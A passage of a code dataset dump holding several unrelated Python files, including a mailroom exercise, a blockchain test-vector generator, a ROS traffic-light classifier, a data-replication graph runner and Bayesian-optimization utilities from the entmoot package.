')\n    return response\n\n\n#------------------------------------------------------------------------------\ndef quit_program():\n    print('Bye!')\n    sys.exit()\n\n\n#-----------------------------------------------------------------------------\ndef invalid_menu():\n    print('\\nNot a valid option!\\n\\n')\n    main()\n\n\n#-----------------------------------------------------------------------------\ndef invalid_thank_you_menu():\n    print('\\nNot a valid option!\\n\\n')\n    thank_you_menu_selection()\n\n\n#------------------------------------------------------------------------------\ndef main():\n    # use of dictionary where 'key' is the menu choice and 'value' is function to call\n    main_menu_options = {\n        'T': thank_you_letter,\n        'R': create_report,\n        'Q': quit_program\n    }\n    while True:\n        init_donor_list()\n        main_menu_action = main_menu_selection().upper()\n        main_menu_options.get(main_menu_action, invalid_menu)() #invalid_menu is to handle\n                                                                # non-of-above choices\n\n\n#------------------------------------------------------------------------------\nif __name__ == \"__main__\":\n    main()","sub_path":"students/Thai_H/lesson4/mail_room_part2.py","file_name":"mail_room_part2.py","file_ext":"py","file_size_in_byte":5899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"544043057","text":"#Types.\nfrom typing import IO, Dict, List, Any\n\n#BLS lib.\nfrom e2e.Libs.BLS import PrivateKey, PublicKey\n\n#Data class.\nfrom e2e.Classes.Transactions.Data import Data\n\n#SpamFilter class.\nfrom e2e.Classes.Consensus.SpamFilter import SpamFilter\n\n#Verification classes.\nfrom e2e.Classes.Consensus.Verification import SignedVerification\nfrom e2e.Classes.Consensus.VerificationPacket import VerificationPacket\n\n#Blockchain classes.\nfrom e2e.Classes.Merit.BlockHeader import BlockHeader\nfrom e2e.Classes.Merit.BlockBody import BlockBody\nfrom e2e.Classes.Merit.Block import Block\nfrom e2e.Classes.Merit.Blockchain import Blockchain\n\n#Ed25519 lib.\nimport ed25519\n\n#Blake2b standard function.\nfrom hashlib import blake2b\n\n#JSON standard lib.\nimport json\n\n#Blockchain.\nblockchain: Blockchain = Blockchain()\n\n#Spam Filter.\ndataFilter: SpamFilter = SpamFilter(5)\n\n#Ed25519 keys.\nedPrivKey: ed25519.SigningKey = ed25519.SigningKey(b'\\0' * 32)\nedPubKey: ed25519.VerifyingKey = edPrivKey.get_verifying_key()\n\n#BLS Keys.\nblsPrivKey: PrivateKey = PrivateKey(blake2b(b'\\0', digest_size=32).digest())\nblsPubKey: PublicKey = blsPrivKey.toPublicKey()\n\n#Add a single Block to create Merit.\nbbFile: IO[Any] = open(\"e2e/Vectors/Merit/BlankBlocks.json\", \"r\")\nblocks: List[Dict[str, Any]] = json.loads(bbFile.read())\nblockchain.add(Block.fromJSON(blocks[0]))\nbbFile.close()\n\n#Create a Data with an invalid signature.\ndata: Data = Data(bytes(32), edPubKey.to_bytes())\ndata.signature = edPrivKey.sign(b\"INVALID\")\ndata.beat(dataFilter)\n\n#Create a Verification.\nsv: SignedVerification = SignedVerification(data.hash)\nsv.sign(0, blsPrivKey)\n\n#Create packets out of the Verification.\npackets: List[VerificationPacket] = [VerificationPacket(data.hash, [0])]\n\n#Generate another Block.\nblock = Block(\n  BlockHeader(\n    0,\n    blockchain.last(),\n    BlockHeader.createContents(packets),\n    1,\n    bytes(4),\n    BlockHeader.createSketchCheck(bytes(4), packets),\n    0,\n    blockchain.blocks[-1].header.time + 1200\n  ),\n  BlockBody(packets, [], sv.signature)\n)\n#Mine it.\nblock.mine(blsPrivKey, blockchain.difficulty())\n\n#Add it.\nblockchain.add(block)\nprint(\"Generated Parsable Block \" + str(len(blockchain.blocks)) + \".\")\n\nresult: Dict[str, Any] = {\n  \"blockchain\": blockchain.toJSON(),\n  \"data\":     data.toJSON()\n}\nvectors: IO[Any] = open(\"e2e/Vectors/Consensus/Verification/Parsable.json\", \"w\")\nvectors.write(json.dumps(result))\nvectors.close()\n","sub_path":"e2e/Vectors/Generation/Consensus/Verification/Parsable.py","file_name":"Parsable.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"195825809","text":"N=sorted(input())[::-1]\nans=0\nfor bit in range(1<<len(N)):\n    left,right=0,0\n    for i in range(len(N)):\n        if (bit>>i)&1:\n            left=left*10+ord(N[i])-ord('0')\n        else:\n            right=right*10+ord(N[i])-ord('0')\n    if left==0 or right==0:\n        continue\n    ans=max(ans,left*right)\nprint(ans)","sub_path":"code/abc221_c_02.py","file_name":"abc221_c_02.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"450824792","text":"\n\nimport numpy as np\nimport cv2\nimport tensorflow as tf\nfrom keras.models import load_model\nfrom PIL import Image\nimport os\nimport time\nfrom glob import glob\nfrom styx_msgs.msg import TrafficLight\nimport cv2\nfrom numpy import zeros, newaxis\nimport rospkg\n\n\n\n\n\nclass TLClassifier(object):\n    def __init__(self):\n\n        self.signal_classes = ['Red', 'Green', 'Yellow']\n\n        self.signal_status = None\n        \n        self.tl_box = None\n        \n        \n        ros_root = rospkg.get_ros_root()\n\n        r = rospkg.RosPack()\n        \n        path = r.get_path('tl_detector')\n\n        self.cls_model = load_model(path + '/model_f_lr-4_ep140_ba32.h5') \n        \n        #'ssd_mobilenet_v1_coco_11_06_2017'\n        \n        PATH_TO_CKPT = path + '/frozen_inference_graph.pb'\n\n        self.detection_graph = tf.Graph()\n\n        config = tf.ConfigProto()\n        config.gpu_options.allow_growth = True\n\n        with self.detection_graph.as_default():\n            od_graph_def = tf.GraphDef()\n            with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n\n              serialized_graph = fid.read()\n              od_graph_def.ParseFromString(serialized_graph)\n              tf.import_graph_def(od_graph_def, name='')\n            \n            self.sess = tf.Session(graph=self.detection_graph, config=config)\n            self.image_tensor = self.detection_graph.get_tensor_by_name('image_tensor:0')\n            self.boxes = self.detection_graph.get_tensor_by_name('detection_boxes:0')\n            self.scores =self.detection_graph.get_tensor_by_name('detection_scores:0')\n            self.classes = self.detection_graph.get_tensor_by_name('detection_classes:0')\n            self.num_detections =self.detection_graph.get_tensor_by_name('num_detections:0')\n\n\ndef get_classification(self, image):\n    \n    (im_width, im_height) = image.size\n    img_full_np =  np.array(image.getdata()).reshape((im_height, im_width, 3)).astype(np.uint8)\n    img_full_np_copy = np.copy(img_full_np)\n    \n    \n    category_index={1: {'id': 1, 'name': u'person'},\n                        2: {'id': 2, 'name': u'bicycle'},\n                        3: {'id': 3, 'name': u'car'},\n                        4: {'id': 4, 'name': u'motorcycle'},\n                        5: {'id': 5, 'name': u'airplane'},\n                        6: {'id': 6, 'name': u'bus'},\n                        7: {'id': 7, 'name': u'train'},\n                        8: {'id': 8, 'name': u'truck'},\n                        9: {'id': 9, 'name': u'boat'},\n                        10: {'id': 10, 'name': u'traffic light'},\n                        11: {'id': 11, 'name': u'fire hydrant'},\n                        13: {'id': 13, 'name': u'stop sign'},\n                        14: {'id': 14, 'name': u'parking meter'}}  \n    \n    \n    with self.detection_graph.as_default():\n          image_expanded = np.expand_dims(img_full_np, axis=0)\n          (boxes, scores, classes, num_detections) = self.sess.run([self.boxes, self.scores, self.classes, self.num_detections], feed_dict={self.image_tensor: image_expanded})\n\n          boxes=np.squeeze(boxes)\n          classes =np.squeeze(classes)\n          scores = np.squeeze(scores)\n\n          cls = classes.tolist()\n\n          # Find the first occurence of traffic light detection id=10\n          idx = next((i for i, v in enumerate(cls) if v == 10.), None)\n          # If there is no detection\n          if (idx == None) or (scores[idx] <= 0.02):\n              return TrafficLight.UNKNOWN\n          else:\n            \n              #*************corner cases***********************************\n              dim = img_full_np.shape[0:2]\n              boxes = boxes[idx]\n              \n              height, width = dim[0], dim[1]\n              box_pixel = [int(boxes[0]*height), int(boxes[1]*width), int(boxes[2]*height), int(boxes[3]*width)]\n              box =  np.array(box_pixel) \n      \n              box_h = box[2] - box[0]\n              box_w = box[3] - box[1]\n              ratio = box_h/(box_w + 0.01)\n              # if the box is too small, 20 pixels for simulator\n              if (box_h <10) or (box_w<10) or (ratio< 1.5):\n                  return TrafficLight.UNKNOWN\n              \n              else:    \n                       \n                  self.tl_box = box\n                  img_resize = cv2.resize(img_full_np_copy[box[0]:box[2], box[1]:box[3]], (32, 32))\n                  img_resize=cv2.cvtColor(img_resize, cv2.COLOR_BGR2RGB) \n                  img_resize = np.expand_dims(img_resize, axis=0).astype('float32')\n                  img_resize/=255.\n                  predict = self.cls_model.predict(img_resize)\n                  predict = np.squeeze(predict, axis =0)\n                  tl_color = self.signal_classes[np.argmax(predict)]\n                  \n                  state_idx = np.argmax(predict)\n                  \n                  \n                  if state_idx == 0:\n                    return TrafficLight.RED\n                  elif state_idx == 1:\n                    return TrafficLight.GREEN\n                  elif state_idx == 2:\n                    return TrafficLight.YELLOW\n\n    \n    ","sub_path":"CarND-Capstone/src/tl_detector/light_classification/tl_classifier1.py","file_name":"tl_classifier1.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"5566697","text":"\n\nTekst = \"De Python lessen worden gegeven door Erik, Erwin en ook door Hidde\"\n\nD1 = Tekst[0:37]\nD2 = Tekst[48:61]\nprint(D1, D2)\n\n\n#-----------------------------\n\ntekst = \"SD vakken zijn Python, UXD, Frontend development en Backend development en nog veel meer ...\"\n\nF1 = tekst[0:15]\nF2 = tekst[71:91]\n\n\nprint(F1, F2)\n\n\n#----------------------------\n\n\ntekst2 = \"Wat is hier het laatste woord?\"\n\nG = tekst2[0:23]\n\nprint(G)\n\n\n\n#----------------------------\n\n\ntekst3 = \"Het www is ontwikkeld vanaf 1989 door Tim Berners-Lee\"\n\nH1 = tekst3[0:4]\nH2 = tekst3[8:28]\nH3 = tekst3[32:63]\n\nprint(H1, H2, H3)\n\n\n#----------------------------\n","sub_path":"PythonAchievements/Slice_Wise.py","file_name":"Slice_Wise.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"342185220","text":"\"\"\"\n:Author: Pravallika\n:Description: Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand.\n\n\t(i.e., 0 1 2 4 5 6 7 might become 4 5 6 7 0 1 2).\n\n\tYou are given a target value to search. If found in the array return its index, otherwise return -1.\n\n\tYou may assume no duplicate exists in the array.\n\"\"\"\n\nclass RotateSortArr(object):\n\tdef findTarget(self, nums, target):\n\t\t\"\"\"\n\t\t:type nums: List[int]\n\t\t:type target: int\n\t\t:rtype: int\n\t\t\"\"\"\n\t\t\n\t\tleft = 0\n\t\tright = len(nums)-1\n\t\t\n\t\twhile left<=right:\n\t\t\tmid = left + (right-left)//2\n\t\t\t\n\t\t\tif target == nums[mid]:\n\t\t\t\treturn mid\n\t\t\t\n\t\t\tif (nums[mid]>=nums[left] and nums[left]<=target<nums[mid]) or (nums[mid]<nums[left] and not (nums[mid]<target<=nums[right])):\n\t\t\t\tright = mid-1\n\t\t\telse:\n\t\t\t\tleft = mid+1\n\t\treturn -1\n\n\n\nobj = RotateSortArr()\nnums = [4,5,6,7,0,1,2]\nprint(obj.findTarget(nums,5)) \n","sub_path":"Sorting/leetcode/rotatedSortedArr/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"421299253","text":"import os\nimport shutil\nimport gc\nfrom typing import List\nfrom snowshu.configs import MAX_ALLOWED_ROWS\nfrom snowshu.core.compile import RuntimeSourceCompiler\nfrom snowshu.adapters.target_adapters.base_target_adapter import BaseTargetAdapter\nfrom snowshu.adapters.source_adapters.base_source_adapter import BaseSourceAdapter\nimport networkx as nx\nfrom snowshu.logger import Logger, duration\nimport time\nfrom concurrent.futures import ThreadPoolExecutor\nfrom dataclasses import dataclass\n\nlogger = Logger().logger\n\n\n@dataclass\nclass GraphExecutable:\n    graph: nx.Graph\n    source_adapter: BaseSourceAdapter\n    target_adapter: BaseTargetAdapter\n    analyze: bool\n\n\nclass GraphSetRunner:\n\n    barf_output = 'snowshu_barf_output'\n    def execute_graph_set(self,\n                          graph_set: List[nx.Graph],\n                          source_adapter: BaseSourceAdapter,\n                          target_adapter: BaseTargetAdapter,\n                          threads: int,\n                          analyze: bool = False,\n                          barf: bool = False) -> None:\n        self.barf=barf\n        if self.barf:\n            shutil.rmtree(self.barf_output, ignore_errors=True)\n            os.makedirs(self.barf_output)\n\n        view_graph_set = [graph for graph in graph_set if graph.contains_views]\n        table_graph_set = list(set(graph_set) - set(view_graph_set))\n\n        def make_executables(graphs) -> List[GraphExecutable]:\n            return [GraphExecutable(graph,\n                                    source_adapter,\n                                    target_adapter,\n                                    analyze) for graph in graphs]\n\n        start_time = time.time()\n\n        # Tables need to come first to prevent deps deadlocks with views\n        for graphs in [table_graph_set, view_graph_set]:\n            with ThreadPoolExecutor(max_workers=threads) as executor:\n                for executable in make_executables(graphs):\n                    executor.submit(self._traverse_and_execute,\n                                    executable, start_time)\n\n    def _traverse_and_execute(\n            self, executable: GraphExecutable, start_time: int) -> None:\n        try:\n            logger.debug(\n                f\"Executing graph with {len(executable.graph)} relations in it...\")\n            for i, relation in enumerate(\n                    nx.algorithms.dag.topological_sort(executable.graph)):\n                relation.population_size=executable.source_adapter.scalar_query(\n                                         executable.source_adapter.population_count_statement(relation))\n                logger.info(\n                    f'Executing graph {i+1} of {len(executable.graph)} source query for relation {relation.dot_notation}...')\n\n                relation.sampling.prepare(relation,\n                                          executable.source_adapter)\n                relation = RuntimeSourceCompiler.compile_queries_for_relation(\n                    relation, executable.graph, executable.source_adapter, executable.analyze)\n\n                if executable.analyze:\n                    if relation.is_view:\n                        relation.population_size = \"N/A\"\n                        relation.sample_size = \"N/A\"\n                        logger.info(\n                            f'Relation {relation.dot_notation} is a view, skipping.')\n                    else:\n                        result = [\n                            row for row in executable.source_adapter.check_count_and_query(\n                                relation.compiled_query,\n                                MAX_ALLOWED_ROWS).itertuples()][0]\n                        relation.population_size = result.population_size\n                        relation.sample_size = result.sample_size\n                        logger.info(\n                            f'Analysis of relation {relation.dot_notation} completed in {duration(start_time)}.')\n                else:\n                    executable.target_adapter.create_database_if_not_exists(\n                        relation.quoted(relation.database))\n                    executable.target_adapter.create_schema_if_not_exists(\n                        relation.quoted(relation.database), \n                        relation.quoted(relation.schema))\n                    if relation.is_view:\n                        logger.info(\n                            f'Retrieving DDL statement for view {relation.dot_notation} in source...')\n                        relation.population_size = \"N/A\"\n                        relation.sample_size = \"N/A\"\n                        try:\n                            relation.view_ddl = executable.source_adapter.scalar_query(relation.compiled_query)\n                        except Exception:\n                            raise SystemError(\n                                f'Failed to extract DDL statement: {relation.compiled_query}')\n                        logger.info(\n                            f'Successfully extracted DDL statement for view {relation.quoted_dot_notation}')\n                    else:\n                        logger.info(\n                            f'Retrieving records from source {relation.dot_notation}...')\n                        try:\n                            relation.data = executable.source_adapter.check_count_and_query(\n                                relation.compiled_query, MAX_ALLOWED_ROWS)\n                        except Exception as e:\n                            raise SystemError(\n                                f'Failed execution of extraction sql statement: {relation.compiled_query} {e}')\n\n                        relation.sample_size = len(relation.data)\n                        logger.info(\n                            f'{relation.sample_size} records retrieved for relation {relation.dot_notation}.')\n\n                    logger.info(\n                        f'Inserting relation {relation.quoted_dot_notation} into target...')\n                    try:\n                        executable.target_adapter.create_and_load_relation(\n                            relation)\n                    except Exception as e:\n                        raise SystemError(\n                            f'Failed to load relation {relation.quoted_dot_notation} into target: {e}')\n\n                    logger.info(\n                        f'Done replication of relation {relation.dot_notation} in {duration(start_time)}.')\n                    relation.target_loaded = True\n                relation.source_extracted = True\n                logger.info(\n                    f'population:{relation.population_size}, sample:{relation.sample_size}')\n                if self.barf:\n                   with open(os.path.join(self.barf_output,f'{relation.dot_notation}.sql'),'w') as f:\n                        f.write(relation.compiled_query) \n            try:\n                for relation in executable.graph.nodes:\n                    del relation.data\n            except AttributeError:\n                pass\n            gc.collect()\n        except Exception as e:\n            logger.error(f'failed with error of type {type(e)}: {str(e)}')\n            raise e\n","sub_path":"snowshu/core/graph_set_runner.py","file_name":"graph_set_runner.py","file_ext":"py","file_size_in_byte":7152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"39059987","text":"'''\ninitialize project folder for GAE\n\nit make :\n    ~/workspace/GAE/<projectName>\n    ~/workspace/GAE/<projectName>/main.py\n\n\n\n'''\n\nimport os\nimport sys\n\n\napp_yml_template = '''\n\napplication:{_application}\nversion : {_version}\nruntime : python\napi_version : {_api_version}\n\nhanders:\n    url : /.*\n    script : main.py\n'''\n\n'''\n    parser = argparse.ArgumentParser()\n    allArgumentsList = [\n                        ('-vn', '--versionName', '?', 'specify version name to build for user', str),\n                        ('-vc', '--versionCode', '?', 'specify version code to build for buildsystem or update', int),\n#                         ('-pl', '--platform', 1, 'platform to build or run - [ win32, darwin ] '),\n#                         ('-md', '--mode', 1, 'kind of program when it run - [ console, window ] '),\n                        ('-bm', '--buildMode', '?', 'buildMode - release, debug', str),\n#                         ('-sr', '--showReleaseNote', 1, 'showRelease', bool),\n                        (\"-rb\", '--removeBuildCache', '?', \"remove buildCache, if it is True, buildCache will be removed\", bool),\n#                         (\"-ar\", \"--archive\", 1, \"make archiving for update\", bool),\n#                         (\"-aa\", \"--autoArgument\", 1, \"specify whether argument is put automatically\", bool)\n                    ]\n    versionName\n    versionCode\n\n    buildMode = 'release, debug'\n        release\n            mode = window\n        debug\n            mode = console\n\n    if buildMode is 'release', versionCode will be increased automatically.\n\n    '''\n    # for argItem in allArgumentsList:\n    #     _type = str\n    #     if len(argItem) == 5:\n    #         _type = argItem[4]\n\n    #     parser.add_argument(argItem[0], argItem[1], nargs=argItem[2], help=argItem[3], type=_type)\n\n    # _build = Build()\n    # print sys.argv[1:]\n    # parser.parse_args(args=sys.argv[1:], namespace=_build)\n\nif __name__ == '__main__':\n    prefix = os.path.join(os.path.expanduser(\"~\"),'workspace') \n    projectName = sys.argv[1]\n    api_version = 1\n    version = 1\n\n    projectDir = os.path.join(prefix, projectName)\n    if not os.path.isdir(projectDir):\n        os.makedirs(projectDir)\n\n    app_yaml_file = os.path.join(projectDir, 'app.yaml')\n    fp = open(app_yaml_file, 'w')\n    \n    fp.write(app_yml_template.format(_application=projectName, _version=version, _api_version=api_version))\n    fp.close()\n\n\n","sub_path":"gae_init.py","file_name":"gae_init.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"268599292","text":"\"\"\"\nCopyright (c) 2016-2020 The scikit-optimize developers.\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\n   list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and/or other materials provided with the distribution.\n\n3. Neither the name of the copyright holder nor the names of its\n   contributors may be used to endorse or promote products derived from\n   this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nNOTE: Changes were made to the scikit-optimize source code included here. \nFor the most recent version of scikit-optimize we refer to:\nhttps://github.com/scikit-optimize/scikit-optimize/\n\nCopyright (c) 2019-2020 Alexander Thebelt.\n\"\"\"\n\nimport os\nfrom gurobipy import Env\nimport numpy as np\nfrom numpy.typing import ArrayLike\nfrom scipy.optimize import OptimizeResult\nfrom joblib import dump as dump_\nfrom joblib import load as load_\nfrom .space import Space, Dimension\nfrom typing import Optional\n\n\ndef get_gurobi_env():\n    \"\"\"Return a Gurobi CloudEnv if environment variables are set, else None.\"\"\"\n    if \"GRB_CLOUDPOOL\" in os.environ:\n        return Env.CloudEnv(\n            logfilename=\"gurobi.log\",\n            accessID=os.environ[\"GRB_CLOUDACCESSID\"],\n            secretKey=os.environ[\"GRB_CLOUDKEY\"],\n            pool=os.environ[\"GRB_CLOUDPOOL\"],\n        )\n    return None\n\n\ndef is_supported(base_estimator):\n    return base_estimator in ['ENTING']\n\n\ndef get_cat_idx(space):\n    from entmoot.space.space import Space, Categorical, Integer, Real, Dimension\n\n    if space is None:\n        return []\n\n    # collect indices of categorical features\n    cat_idx = []\n    for idx,dim in enumerate(space):\n        if isinstance(dim, Categorical):\n            cat_idx.append(idx)\n    return cat_idx\n\n\ndef cook_estimator(\n        space: Space,\n        base_estimator: str,\n        base_estimator_kwargs: Optional[dict] = None,\n        num_obj: int = 1,\n        random_state: Optional[int] = None):\n    \"\"\"Cook an estimator that used for mean and uncertainty prediction.\n\n    :param space: Space, defines the search space of variables\n    :param base_estimator: str\n        currently available estimator types are in [\"ENTING\"]\n    :param base_estimator_kwargs: Optional[dict]\n        defines additional params that influence the base_estimator behavior\n            \"lgbm_params\": dict, additional parameters that are passed to lightgbm\n            \"ensemble_type\": str, options in ['GBRT', 'RF'],\n                \"GBRT\": uses gradient-boosted tree regressor\n                \"RF\": uses random forest\n            \"unc_metric\": str, options in ['exploration', 'penalty'], i.e.\n                negative or positive alpha contribution in \"min mu \\pm kappa * alpha\"\n            \"unc_scaling\": str, options in [\"standard\", \"normalize\"], i.e.\n                scaling used for the distance-based uncertainty metric\n            \"dist_metric\": str, options in [\"manhattan\",'squared_euclidean'], i.e.\n                metric used to define non-categorical distance for uncertainty\n            \"cat_dist_metric\": str, options in [\"overlap\", \"goodall4\", \"of\"], i.e.\n                metric used to define categorical distance for uncertainty\n    :param num_obj: int\n        gives the number of objectives that the black-box is being optimized for\n    :param random_state: Optional[int]\n        fixed random seed to generate reproducible results\n    \"\"\"\n\n    from lightgbm import LGBMRegressor\n    from entmoot.learning.tree_model import EntingRegressor, MisicRegressor\n\n    # collect indices of categorical features\n    cat_idx = get_cat_idx(space)\n\n    if not is_supported(base_estimator):\n        raise ValueError(\"base_estimator is not supported.\")\n\n    # build enting estimator with distance-based uncertainty\n    if base_estimator == \"ENTING\":\n\n        # check uncertainty metric parameters\n        unc_metric = base_estimator_kwargs.get(\"unc_metric\", \"exploration\")\n        unc_scaling = base_estimator_kwargs.get(\"unc_scaling\", \"standard\")\n        dist_metric = base_estimator_kwargs.get(\"dist_metric\", \"squared_euclidean\")\n        cat_dist_metric = base_estimator_kwargs.get(\"cat_dist_metric\", \"goodall4\")\n\n        unc_estimator = cook_unc_estimator(space,\n                                           unc_metric=unc_metric,\n                                           unc_scaling=unc_scaling,\n                                           dist_metric=dist_metric,\n                                           cat_dist_metric=cat_dist_metric,\n                                           num_obj=num_obj)\n\n        ensemble_type = base_estimator_kwargs.get(\"ensemble_type\", \"GBRT\")\n        lgbm_params = base_estimator_kwargs.get(\"lgbm_params\", {})\n\n        if unc_estimator.std_type == 'distance':\n            tree_reg = EntingRegressor\n        elif unc_estimator.std_type == 'proximity':\n            tree_reg = MisicRegressor\n\n        if ensemble_type == \"GBRT\":\n            gbrt = []\n            for _ in range(num_obj):\n                gbrt.append(\n                    LGBMRegressor(boosting_type='gbdt',\n                                  objective='regression',\n                                  verbose=-1))\n            base_estimator = tree_reg(space,\n                                    gbrt,\n                                    unc_estimator,\n                                    random_state=random_state,\n                                    cat_idx=cat_idx)\n        elif ensemble_type == \"RF\":\n            rf = []\n            for _ in range(num_obj):\n                rf.append(\n                    LGBMRegressor(boosting_type='random_forest',\n                                  objective='regression',\n                                  verbose=0,\n                                  subsample_freq=1,\n                                  subsample=0.9,\n                                  bagging_seed=random_state))\n            base_estimator = tree_reg(space,\n                                    rf,\n                                    unc_estimator,\n                                    random_state=random_state,\n                                    cat_idx=cat_idx)\n\n    if base_estimator_kwargs is not None:\n        base_estimator.set_params(**lgbm_params)\n\n    return base_estimator\n\n\ndef cook_unc_estimator(space: Space,\n                    unc_metric: str,\n                    unc_scaling: str,\n                    dist_metric: str,\n                    cat_dist_metric: str,\n                    num_obj: int = 1):\n    \"\"\"Cook a distance-based uncertainty estimator.\n\n    :param space: Space, defines the search space of variables\n    :param unc_metric: str, options in ['exploration', 'penalty'], i.e.\n        negative or positive alpha contribution in \"min mu \\pm kappa * alpha\"\n    :param unc_scaling: str, options in [\"standard\", \"normalize\"], i.e.\n        scaling used for the distance-based uncertainty metric\n    :param dist_metric: str, options in [\"manhattan\",'squared_euclidean'], i.e.\n        metric used to define non-categorical distance for uncertainty\n    :param cat_dist_metric: str, options in [\"overlap\", \"goodall4\", \"of\"], i.e.\n        metric used to define categorical distance for uncertainty\n    :param num_obj: int\n        gives the number of objectives that the black-box is being optimized for\n    :param random_state: Optional[int]\n        fixed random seed to generate reproducible results\n    \"\"\"\n\n    from entmoot.learning.distance_based_std import \\\n        DistanceBasedExploration, DistanceBasedPenalty\n\n    from entmoot.learning.proximit_based_std import \\\n        ProximityMetric\n\n    # normalize distances if multi-obj\n    if num_obj>1: unc_scaling=\"normalize\"\n\n    if unc_metric == \"exploration\":\n        unc_estimator = DistanceBasedExploration(\n                space,\n                unc_scaling=unc_scaling,\n                dist_metric=dist_metric,\n                cat_dist_metric=cat_dist_metric)\n\n    elif unc_metric == \"penalty\":\n        unc_estimator = DistanceBasedPenalty(\n                space,\n                unc_scaling=unc_scaling,\n                dist_metric=dist_metric,\n                cat_dist_metric=cat_dist_metric)\n\n    elif unc_metric == \"prox\":\n        if num_obj > 1:\n            raise NotImplementedError(\n                \"unc_metric 'prox' is currently unavailable and will be adapted for \"\n                \"multi-objective usage.\")\n        unc_estimator = \\\n            ProximityMetric(space)\n\n    return unc_estimator\n\n\ndef cook_initial_point_generator(generator, **kwargs):\n    \"\"\"Cook a default initial point generator.\n\n    For the special generator called \"random\" the return value is None.\n\n    Parameters\n    ----------\n    generator : \"lhs\", \"sobol\", \"halton\", \"hammersly\", \"grid\", \"random\" \\\n            or InitialPointGenerator instance\"\n        Should inherit from `skopt.sampler.InitialPointGenerator`.\n\n    kwargs : dict\n        Extra parameters provided to the generator at init time.\n    \"\"\"\n    from entmoot.sampler import Sobol, Lhs, Hammersly, Halton, Grid\n    from entmoot.sampler import InitialPointGenerator\n\n    if generator is None:\n        generator = \"random\"\n    elif isinstance(generator, str):\n        generator = generator.lower()\n        if generator not in [\"sobol\", \"halton\", \"hammersly\", \"lhs\", \"random\",\n                             \"grid\"]:\n            raise ValueError(\"Valid strings for the generator parameter \"\n                             \" are: 'sobol', 'lhs', 'halton', 'hammersly',\"\n                             \"'random', or 'grid' not \"\n                             \"%s.\" % generator)\n    elif not isinstance(generator, InitialPointGenerator):\n        raise ValueError(\"generator has to be an InitialPointGenerator.\"\n                         \"Got %s\" % (str(type(generator))))\n\n    if isinstance(generator, str):\n        if generator == \"sobol\":\n            generator = Sobol()\n        elif generator == \"halton\":\n            generator = Halton()\n        elif generator == \"hammersly\":\n            generator = Hammersly()\n        elif generator == \"lhs\":\n            generator = Lhs()\n        elif generator == \"grid\":\n            generator = Grid()\n        elif generator == \"random\":\n            return None\n    generator.set_params(**kwargs)\n    return generator\n\n\ndef is_listlike(x):\n    return isinstance(x, (list, tuple))\n\n\ndef is_2Dlistlike(x):\n    return np.all([is_listlike(xi) for xi in x])\n\n\ndef check_x_in_space(x, space):\n    if is_2Dlistlike(x):\n        if not np.all([p in space for p in x]):\n            raise ValueError(\"Not all points are within the bounds of\"\n                             \" the space.\")\n        if any([len(p) != len(space.dimensions) for p in x]):\n            raise ValueError(\"Not all points have the same dimensions as\"\n                             \" the space.\")\n    elif is_listlike(x):\n        if x not in space:\n            raise ValueError(\"Point (%s) is not within the bounds of\"\n                             \" the space (%s).\"\n                             % (x, space.bounds))\n        if len(x) != len(space.dimensions):\n            raise ValueError(\"Dimensions of point (%s) and space (%s) do not match\"\n                             % (x, space.bounds))\n\n\ndef create_result(\n        Xi: list, yi: ArrayLike, space=None, rng=None, specs: Optional[dict] = None, models: Optional[list] = None,\n        model_mu=None, model_std=None, gurobi_mipgap=None):\n    \"\"\"\n    Initialize an `OptimizeResult` object.\n\n    Parameters\n    ----------\n    Xi : list of lists, shape (n_iters, n_features)\n        Location of the minimum at every iteration.\n\n    yi : array-like, shape (n_iters,)\n        Minimum value obtained at every iteration.\n\n    space : Space instance, optional\n        Search space.\n\n    rng : RandomState instance, optional\n        State of the random state.\n\n    specs : dict, optional\n        Call specifications.\n\n    models : list, optional\n        List of fit surrogate models.\n\n    Returns\n    -------\n    res : `OptimizeResult`, scipy object\n        OptimizeResult instance with the required information.\n    \"\"\"\n    res = OptimizeResult()\n    yi = np.asarray(yi)\n    if np.ndim(yi) == 2:\n        res.log_time = np.ravel(yi[:, 1])\n        yi = np.ravel(yi[:, 0])\n    best = np.argmin(yi)\n    res.x = 